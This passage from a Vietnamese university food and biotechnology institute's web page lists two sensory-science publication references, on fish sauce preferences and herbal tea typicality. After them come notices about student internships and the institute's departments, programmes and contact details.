  6. Phan, T.X.U., Le, M.T, Lam, M.T., Truong, T.X., Nguyen, T.M.H. & Nguyen, H.D. 2009. Mapping the preferences of fish sauce. SPISE2009: Food Consumer Insights in Asia-Current Issues and Future, Ho Chi Minh city, Vietnam.
  7. Phan Thuy Xuan Uyen, Nguyen Ba Thanh & Nguyen Hoang Dzung. 2004. Typicality of Herbal teas: The role of consumers’ hedonic dimensions. The 1st European Conference on Sensory Science of Food and Beverage, Florence, Italy.

TIN NỔI BẬT
Thông báo 2 về việc thực tập doanh nghiệp
Thông báo về việc Đồ án SV khóa 11 – Ngành Đảm bảo chất lượng và an toàn thực phẩm
Thông báo sô 1 về thực tập doanh nghiệp
Ngày hội tuyển dụng, việc làm
Thông báo đăng kí dự thi “Phát triển sản phẩm” lần IX – 2018
Hội nghị “Tác động của Môi trường, Lao động và Dinh dưỡng đối với sức khỏe cộng đồng”
Kế hoạch thực tập doanh nghiệp và đồ án tốt nghiệp DHTP10
Thông báo nhận giấy giới thiệu thực tập
BỘ MÔN
BM Công nghệ Sinh học
BM Công nghệ Thực phẩm
BM Dinh dưỡng và KHTP
BM ĐB Chất lượng và ATTP
Ngành đào tạo
Thạc sĩ Công nghệ TP
ĐH Công nghệ Sinh học
ĐH Công nghệ Thực phẩm
ĐH ĐBCL & ATTP
ĐH Dinh dưỡng & KHTP
Cao đẳng nghề
Đơn vị liên kết
Liên hệ
  • Viện Công nghệ Sinh học và Thực phẩm - Lầu 4, Nhà F
    12 Nguyễn Văn Bảo, Q. Gò Vấp, TP. Hồ Chí Minh
  • Điện thoại: 083.8940 390 - 666, 891
    Email: ibf@iuh.edu.vn
Hoạt động
Văn bản tiện ích

Số lượt truy cập : 100725

  • Hôm nay : 228
  • Đang xem : 0
© 2016 Viện Công nghệ Sinh học và Thực phẩm - Trường Đại học Công nghiệp TP. Hồ Chí Minh